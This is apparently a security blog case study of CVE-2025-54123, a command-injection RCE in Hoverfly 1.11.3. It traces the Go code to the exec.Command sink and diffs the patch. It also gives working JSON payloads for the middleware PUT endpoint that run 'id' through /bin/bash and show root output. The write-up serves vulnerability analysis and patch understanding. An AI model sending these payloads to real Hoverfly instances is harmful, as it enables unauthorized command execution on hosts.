May 27, 2026
CVE-2025–54123 Hoverfly ≤1.11.3 Command Injection (RCE) Case Study & Patch Diffing
﷽
phantom_hat
10 min read
﷽
Introduction
This Case Study focuses on CVE-2025–54123, a critical Remote Code Execution vulnerability discovered in Hoverfly, an open-source API simulation and service virtualization tool widely used in CI/CD pipelines and development environments. The CVSS score is 9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), and it affects all versions ≤ 1.11.3.
The vulnerability is rooted in OS Command Injection (CWE-78) combined with Improper Input Validation (CWE-20) and exists in the middleware management API endpoint:
In this case study I will demonstrate the Target Overview, Discovery & Source Code Analysis, the three code-level flaws that combine to create the injection primitive, Manual Exploitation, and a deep Patch Diffing of the fix introduced in version 1.12.0.
NVD Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-54123
GitHub Advisory: https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf
Target Overview
Hoverfly (by SpectoLabs) is a lightweight, open-source service virtualization tool written in Go. It allows developers and testers to simulate HTTP(S) services, capture and replay API traffic, and apply middleware transformations to request/response pairs in real time.
From a security perspective, Hoverfly exposes an Admin API (default port 8888) which provides management endpoints including:
GET /api/v2/hoverfly/middlewareretrieve current middleware configPUT /api/v2/hoverfly/middlewareset middleware binary and/or script
The PUT endpoint is the attack surface. It accepts a JSON body specifying a binary field (and optionally a script field) which Hoverfly uses to configure a middleware executable. This user-supplied value is ultimately passed directly to exec.Command() with no sanitization giving an attacker the ability to execute arbitrary OS commands on the host with the privileges of the Hoverfly process.
Black Box Discovery / Analysis
Black Box Enumeration
The middleware endpoint is only accessible to authorized users so analyzing it requires proper authorization.
we have to login to interact with middleware
After logging in it redirects to /dashboard
Here are some interesting fields which are Binary and Script as name suggests it's something related to script execution.
after logging in I noticed that it's sending GET Request to 2 endpoints with the delay of 5 seconds
/api/v2/hoverfly/api/v2/hoverfly/middleware
The response of /api/v2/hoverfly/middleware looks interesting because it contains a json response with 3 keys binary, script, remote
{
"binary": "",
"script": "",
"remote": ""
}{
"binary": "",
"script": "",
"remote": ""
}By modifying request to /api/v2/hoverfly/middlewareendpoint from GET to OPTIONS the Response reveals that it supports 3 HTTP Methods GET, PUT, OPTIONS
Black Box Discovery
After Changing the request Method to PUT without json body
Looks like it require a valid json format let's add with empty values.
with empty json it sent what input values it accepts to run binary and scripts and remote looks like it requires a remote server, let's first try with binary and script parameters to see how it behave.
Exploitation
for the value of binary we have to give a valid binary like ruby or python since the second parameter suggest it require some kind of script so we can pass a script related to that binary
FOR EXAMPLE:
if we set the value of binary to python3 since it is a binary of python3 then we can pass some python code as the value of script for example
{
"binary":"python3",
"script":"print(\"hi hacker\")"
}{
"binary":"python3",
"script":"print(\"hi hacker\")"
}let's try and see what's the behavior
it throws an error but if we look closely after STDOUT we can see there's the output of our print statement. means we achieved code execution on the target machine now let's try with bash since the bash binary is located at /bin/bash
Amazing here's the output of of id command after STDOUT and we achieved RCE at the victim machine.
We achieved the RCE on the victim machine now it's time to move on towards White box analysis and deep dive in the depth of this vulnerability and differentiate between patched code and vulnerable code.
White Box Discovery / Analysis
Architecture of the Middleware System
Hoverfly's middleware feature is designed to allow custom transformation of request/response pairs. The flow is:
Admin API PUT /api/v2/hoverfly/middleware
↓
hoverfly_service.go → SetMiddleware()
↓
middleware.go → ConvertToNewMiddleware() / SetBinary()
↓
local_middleware.go → executeMiddlewareLocally() → exec.Command(this.Binary)Admin API PUT /api/v2/hoverfly/middleware
↓
hoverfly_service.go → SetMiddleware()
↓
middleware.go → ConvertToNewMiddleware() / SetBinary()
↓
local_middleware.go → executeMiddlewareLocally() → exec.Command(this.Binary)Three separate files each contribute one flaw. Together, they create a fully weaponizable RCE chain.
Hoverfly Middleware request handling architecture
Hoverfly use it's own handler package to handle requests it has functions for reading the requests and writing the response ReadFromRequest(request *http.Request, v interface{}) , writeResponse(response http.ResponseWriter, bytes []byte, contentType string) and others like for writing error response or write response with content type.
then this package is used in the file hoverfly-1.11.3/core/handlers/v2/hoverfly_middleware_handler.go and this file is used to handle the requests of middleware. this file has
- 1 Interface named
HoverflyMiddleware - 1 Struct named
HoverflyMiddlewareHandler - 4 Functions
RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler)for registering routes.Get(w http.ResponseWriter, req *http.Request, next http.HandlerFunc)to handle GET Requests for middlewarePut(w http.ResponseWriter, req *http.Request, next http.HandlerFunc)to handlePUTRequests for middlewareOptions(w http.ResponseWriter, r *http.Request, next http.HandlerFunc)to handleOPTIONSRequests for middleware
func (this *HoverflyMiddlewareHandler) RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler) {
mux.Get("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Get),
))
mux.Put("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Put),
))
mux.Options("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(this.Options),
))
}func (this *HoverflyMiddlewareHandler) RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler) {
mux.Get("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Get),
))
mux.Put("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Put),
))
mux.Options("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(this.Options),
))
}This function register routes and we can see if we send GET or PUT Requests to middleware endpoint /api/v2/hoverfly/middleware it checks the token authentication using the function of AuthHandler struct in from the package handlers the function name is RequireTokenAuthentication which is available in the file hoverfly-1.11.3/core/handlers/auth_handler.go
We can send json payload using PUT request so let's analyze how it handles our request
in other functions like Options and Get the work is simple in Get Function it just send the response with the values of Binary Script and Remote from the struct
middlewareView.Binary, middlewareView.Script, middlewareView.Remote = this.Hoverfly.GetMiddleware()
// SNIP
handlers.WriteResponse(w, middlewareBytes)middlewareView.Binary, middlewareView.Script, middlewareView.Remote = this.Hoverfly.GetMiddleware()
// SNIP
handlers.WriteResponse(w, middlewareBytes)and The Option function only send the header by setting the values using Add function from http library this line sets the Allow Header value to OPTIONS, GET, PUT
w.Header().Add("Allow", "OPTIONS, GET, PUT")w.Header().Add("Allow", "OPTIONS, GET, PUT")Tracing Put Request Flow
Now the input is flowing from the Put Function
func (this *HoverflyMiddlewareHandler) Put(w http.ResponseWriter, req *http.Request, next http.HandlerFunc) {
var middlewareReq MiddlewareView
err := handlers.ReadFromRequest(req, &middlewareReq)
if err != nil {
handlers.WriteErrorResponse(w, err.Error(), 400)
return
}
err = this.Hoverfly.SetMiddleware(middlewareReq.Binary, middlewareReq.Script, middlewareReq.Remote)
if err != nil {
handlers.WriteErrorResponse(w, err.Error(), 422)
return
}
this.Get(w, req, next)
}func (this *HoverflyMiddlewareHandler) Put(w http.ResponseWriter, req *http.Request, next http.HandlerFunc) {
var middlewareReq MiddlewareView
err := handlers.ReadFromRequest(req, &middlewareReq)
if err != nil {
handlers.WriteErrorResponse(w, err.Error(), 400)
return
}
err = this.Hoverfly.SetMiddleware(middlewareReq.Binary, middlewareReq.Script, middlewareReq.Remote)
if err != nil {
handlers.WriteErrorResponse(w, err.Error(), 422)
return
}
this.Get(w, req, next)
}1st line initializes a struct variable named middlewareReq of struct MiddlewareView
type MiddlewareView struct {
Binary string `json:"binary"`
Script string `json:"script"`
Remote string `json:"remote"`
}type MiddlewareView struct {
Binary string `json:"binary"`
Script string `json:"script"`
Remote string `json:"remote"`
}The MiddlewareView struct defines the expected request data model containing three string fields Binary, Script, and Remote each mapped to corresponding JSON keys
then it reads the request from it's own reader from package handlers
this.Hoverfly.SetMiddleware(middlewareReq.Binary, middlewareReq.Script, middlewareReq.Remote)
this line sets the middleware let's break it down
HoverflyMiddlewareHandler this is the struct in this file which is referenced as this and it has an Interface as Hoverfly
type HoverflyMiddleware interface {
GetMiddleware() (string, string, string)
SetMiddleware(string, string, string) error
}
type HoverflyMiddlewareHandler struct {
Hoverfly HoverflyMiddleware
}type HoverflyMiddleware interface {
GetMiddleware() (string, string, string)
SetMiddleware(string, string, string) error
}
type HoverflyMiddlewareHandler struct {
Hoverfly HoverflyMiddleware
}and if error occurs it will use WriteErrorResponse to send the error response with status code 422
Now our input values are going towards SetMiddleware Function
Malformed JSON Error
let's analyze the function ReadFromRequest to see why we get the Malformed JSON Error when we sent the empty request in our previous Black Box testing
body, _ := io.ReadAll(request.Body)
err := json.Unmarshal(body, &v)
if err != nil {
return errors.New("Malformed JSON")
}body, _ := io.ReadAll(request.Body)
err := json.Unmarshal(body, &v)
if err != nil {
return errors.New("Malformed JSON")
}these lines are critical to understand why we got that error before
First it reads the Request body using http.Request.Body and read that body using the ReadAll function from io library and set it to the variable named body
The json.Unmarshal(body, &v) line parses the JSON data from the request body and stores the decoded values inside the object referenced by v, which is passed dynamically through the empty interface (interface{}). but in the previous scenario we didn't sent any json data so the Unmarshal trows and error and then if condition became true and it throws the error.
SetMiddleware Mechanism
func (hf *Hoverfly) SetMiddleware(binary, script, remote string) errorfunc (hf *Hoverfly) SetMiddleware(binary, script, remote string) errorThis is the function definition
newMiddleware := &middleware.Middleware{}
if binary == "" && script == "" && remote == "" {
hf.Cfg.Middleware = *newMiddleware
return nil
}newMiddleware := &middleware.Middleware{}
if binary == "" && script == "" && remote == "" {
hf.Cfg.Middleware = *newMiddleware
return nil
}then it initializes a struct variable named newMiddleware of the struct Middleware without any values which is clearing the values of middleware this struct is available at hoverfly package middleware in the file hoverfly-1.11.3/core/middleware/middleware.go
Here's the struct definition:
type Middleware struct {
Binary string
Script *os.File
Remote string
}type Middleware struct {
Binary string
Script *os.File
Remote string
}now from the Middleware struct these functions will set the values of our input values
if binary == "" && script != "" {
return fmt.Errorf("cannot run script with no binary")
}
err := newMiddleware.SetBinary(binary)
if err != nil {
return err
}
err = newMiddleware.SetScript(script)
if err != nil {
return err
}
err = newMiddleware.SetRemote(remote)
if err != nil {
return err
}if binary == "" && script != "" {
return fmt.Errorf("cannot run script with no binary")
}
err := newMiddleware.SetBinary(binary)
if err != nil {
return err
}
err = newMiddleware.SetScript(script)
if err != nil {
return err
}
err = newMiddleware.SetRemote(remote)
if err != nil {
return err
}SetBinary and SetRemote functions are simple setter functions
func (this *Middleware) SetBinary(binary string) error {
this.Binary = binary
return nil
}
func (this *Middleware) SetRemote(remoteUrl string) error {
this.Remote = remoteUrl
return nil
}func (this *Middleware) SetBinary(binary string) error {
this.Binary = binary
return nil
}
func (this *Middleware) SetRemote(remoteUrl string) error {
this.Remote = remoteUrl
return nil
}these function sets the provided value to the struct.
SetScript Key Behavior Analysis:
func (this *Middleware) SetScript(scriptContent string) error {func (this *Middleware) SetScript(scriptContent string) error {- This function takes script content as input and attaches it to the middleware system in a controlled way.
- Instead of storing raw input directly, it creates a temporary file-based representation.
1. Temporary Workspace Creation
tempDir := path.Join(os.TempDir(), "hoverfly")
os.Mkdir(tempDir, 0777)tempDir := path.Join(os.TempDir(), "hoverfly")
os.Mkdir(tempDir, 0777)- A dedicated temporary directory is prepared inside the system temp folder.
- This ensures scripts are stored in an isolated environment.
- Even if the directory already exists, errors are ignored intentionally.
2. Script File Creation (Core Mechanism)
newScript, err := os.CreateTemp(tempDir, "hoverfly_")newScript, err := os.CreateTemp(tempDir, "hoverfly_")- A unique temporary file is created for the script.
- Each execution gets a separate file to avoid overwriting or conflicts.
3. Writing User Input to File
_, err = newScript.Write([]byte(scriptContent))_, err = newScript.Write([]byte(scriptContent))- The actual script content provided by the user is written into the temporary file.
- At this point, the middleware is no longer holding raw input it is persisted on disk.
4. Replacing Old Script Safely
this.DeleteScript()
this.Script = newScriptthis.DeleteScript()
this.Script = newScript- Any previously stored script is deleted first.
- Then the new script file is assigned to the middleware.
in the SetMiddleware after setting all values using setter functions it prepares the test request data
testData := models.RequestResponsePair{
Request: models.RequestDetails{
Path: "/",
Method: "GET",
Destination: "www.test.com",
Scheme: "",
Query: map[string][]string{},
Body: "",
Headers: map[string][]string{"test_header": {"true"}},
},
Response: models.ResponseDetails{
Status: 200,
Body: "ok",
Headers: map[string][]string{"test_header": {"true"}},
},
}testData := models.RequestResponsePair{
Request: models.RequestDetails{
Path: "/",
Method: "GET",
Destination: "www.test.com",
Scheme: "",
Query: map[string][]string{},
Body: "",
Headers: map[string][]string{"test_header": {"true"}},
},
Response: models.ResponseDetails{
Status: 200,
Body: "ok",
Headers: map[string][]string{"test_header": {"true"}},
},
}and exectution goes to Middleware Struct's Execute Function in the middleware package
_, err = newMiddleware.Execute(testData)
if err != nil {
return err
}_, err = newMiddleware.Execute(testData)
if err != nil {
return err
}Middleware Execute
In this function there's a check for Remote value of the Struct to execute locally or remotely
if this.Remote == "" {
return this.executeMiddlewareLocally(pair)
} else {
return this.executeMiddlewareRemotely(pair)
}if this.Remote == "" {
return this.executeMiddlewareLocally(pair)
} else {
return this.executeMiddlewareRemotely(pair)
}then Execution goes to executeMiddlewareLocally
The vulnerable Sink
In this file hoverfly-1.11.3/core/middleware/local_middleware.go we got the function executeMiddlewareLocally which has the vulnerable sink which allows user to execute commands
var middlewareCommand *exec.Cmd
if this.Script == nil {
middlewareCommand = exec.Command(this.Binary)
} else {
middlewareCommand = exec.Command(this.Binary, this.Script.Name())
}var middlewareCommand *exec.Cmd
if this.Script == nil {
middlewareCommand = exec.Command(this.Binary)
} else {
middlewareCommand = exec.Command(this.Binary, this.Script.Name())
}At the beginning of the function here's the vulnerable sink. this.Binary and this.Script which is controlled by attacker as we observed in setter functions, that values are directly passing without any input sanatization
exec.Command this function returns the struct with arguments to run the command
if err := middlewareCommand.Start(); err != nil {
log.WithFields(log.Fields{
"sdtdout": string(stdout.Bytes()),
"sdtderr": string(stderr.Bytes()),
"error": err.Error(),
}).Error("Middleware failed to start")
return pair, &MiddlewareError{
OriginalError: err,
Message: "Middleware failed to start",
Command: this.toString(),
Stdin: string(pairViewBytes),
Stdout: string(stdout.Bytes()),
Stderr: string(stderr.Bytes()),
}
}if err := middlewareCommand.Start(); err != nil {
log.WithFields(log.Fields{
"sdtdout": string(stdout.Bytes()),
"sdtderr": string(stderr.Bytes()),
"error": err.Error(),
}).Error("Middleware failed to start")
return pair, &MiddlewareError{
OriginalError: err,
Message: "Middleware failed to start",
Command: this.toString(),
Stdin: string(pairViewBytes),
Stdout: string(stdout.Bytes()),
Stderr: string(stderr.Bytes()),
}
}and the Start() function starts the command execution.
The Output Processing why we get result with error
Output format mismatch
Later code expects JSON:
json.Unmarshal(stdout.Bytes(), &newPairView)json.Unmarshal(stdout.Bytes(), &newPairView)If middleware returns:
uid=0(root) gid=0(root)uid=0(root) gid=0(root)JSON Parsing Failure (Hidden Major Error Source)
err = json.Unmarshal(stdout.Bytes(), &newPairView)err = json.Unmarshal(stdout.Bytes(), &newPairView)If output is not valid JSON:
Flow becomes:
return pair, &MiddlewareError{
Message: "Failed to unmarshal JSON from middleware",
}return pair, &MiddlewareError{
Message: "Failed to unmarshal JSON from middleware",
}This is the most common reason:
"command executed but still error returned"
Chain of errors
now the executeMiddlewareLocally throws an error then Execute also throws an error which leads SetMiddleware to throw error and in last the Put function in handles the error
err = this.Hoverfly.SetMiddleware(middlewareReq.Binary, middlewareReq.Script, middlewareReq.Remote)
if err != nil {
handlers.WriteErrorResponse(w, err.Error(), 422)
return
}err = this.Hoverfly.SetMiddleware(middlewareReq.Binary, middlewareReq.Script, middlewareReq.Remote)
if err != nil {
handlers.WriteErrorResponse(w, err.Error(), 422)
return
}Output with Errors
That's the reason we see output of our executed command with errors
for this payload
{
"binary":"/bin/bash",
"script":"id"
}{
"binary":"/bin/bash",
"script":"id"
}we got this response
{
"error": "Failed to unmarshal JSON from middleware\nCommand: /bin/bash /tmp/hoverfly/hoverfly_3375714724\ninvalid character 'u' looking for beginning of value\n\nSTDIN:\n{\"response\":{\"status\":200,\"body\":\"ok\",\"encodedBody\":false,\"headers\":{\"test_header\":[\"true\"]}},\"request\":{\"path\":\"/\",\"method\":\"GET\",\"destination\":\"www.test.com\",\"scheme\":\"\",\"query\":\"\",\"formData\":null,\"body\":\"\",\"headers\":{\"test_header\":[\"true\"]}}}\n\nSTDOUT:\nuid=0(root) gid=0(root) groups=0(root)\n"
}{
"error": "Failed to unmarshal JSON from middleware\nCommand: /bin/bash /tmp/hoverfly/hoverfly_3375714724\ninvalid character 'u' looking for beginning of value\n\nSTDIN:\n{\"response\":{\"status\":200,\"body\":\"ok\",\"encodedBody\":false,\"headers\":{\"test_header\":[\"true\"]}},\"request\":{\"path\":\"/\",\"method\":\"GET\",\"destination\":\"www.test.com\",\"scheme\":\"\",\"query\":\"\",\"formData\":null,\"body\":\"\",\"headers\":{\"test_header\":[\"true\"]}}}\n\nSTDOUT:\nuid=0(root) gid=0(root) groups=0(root)\n"
}and after STDOUT: we got the output of our command
Patch Analysis
In the patch the developers disabled middleware API by default and applied that patch to related functionalities
type HoverflyMiddlewareHandler struct {
Hoverfly HoverflyMiddleware
Enabled bool
}type HoverflyMiddlewareHandler struct {
Hoverfly HoverflyMiddleware
Enabled bool
}added Enabled in HoverflyMiddlewareHandler with bool data type to enable and disable this functionality in file core/handlers/v2/hoverfly_middleware_handler.go
func (this *HoverflyMiddlewareHandler) RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler) {
mux.Get("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Get),
))
/* mux.Put("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Put),
)) this is remove */
if this.Enabled {
mux.Put("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Put),
))
}func (this *HoverflyMiddlewareHandler) RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler) {
mux.Get("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Get),
))
/* mux.Put("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Put),
)) this is remove */
if this.Enabled {
mux.Put("/api/v2/hoverfly/middleware", negroni.New(
negroni.HandlerFunc(am.RequireTokenAuthentication),
negroni.HandlerFunc(this.Put),
))
}they added a condition to Put Function if the the Enabled is true then the Put function can be used
func (this *HoverflyMiddlewareHandler) Options(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) {
// w.Header().Add("Allow", "OPTIONS, GET, PUT") removed
allow := "OPTIONS, GET"
if this.Enabled { // added
allow += ", PUT"
}
w.Header().Add("Allow", allow)
handlers.WriteResponse(w, []byte(""))
}func (this *HoverflyMiddlewareHandler) Options(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) {
// w.Header().Add("Allow", "OPTIONS, GET, PUT") removed
allow := "OPTIONS, GET"
if this.Enabled { // added
allow += ", PUT"
}
w.Header().Add("Allow", allow)
handlers.WriteResponse(w, []byte(""))
}if enabled then append the PUT method in the allow header
the developers added the flag -enable-middleware-api to enable the middleware API
Exploit
Here's a fully functional Exploit script in python which is available on my github repo
GitHub - 0x00phantom-hat/Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit Contribute to 0x00phantom-hat/Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit development by creating an account on GitHub.
Command Executed Successfully
Conclusion
CVE-2025–54123 demonstrates how three small oversights — blind input storage, an unguarded exec.Command() sink, and no API-level validation — chain into a CVSS 9.8 RCE. The "error-as-oracle" behavior makes it worse: the command executes and leaks output even when the request technically fails.
The patch disables the PUT endpoint by default, which is a reasonable stopgap, but proper input validation and binary allowlisting are the real fix. The admin API should never be exposed to untrusted networks regardless.
user input should never reach exec.Command() without sanitization, and error messages should never echo command output.
References
NVD Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, the middleware functionality in Hoverfly…
GitHub - SpectoLabs/hoverfly: Lightweight service virtualization/ API simulation / API mocking tool… Lightweight service virtualization/ API simulation / API mocking tool for developers and testers - SpectoLabs/hoverfly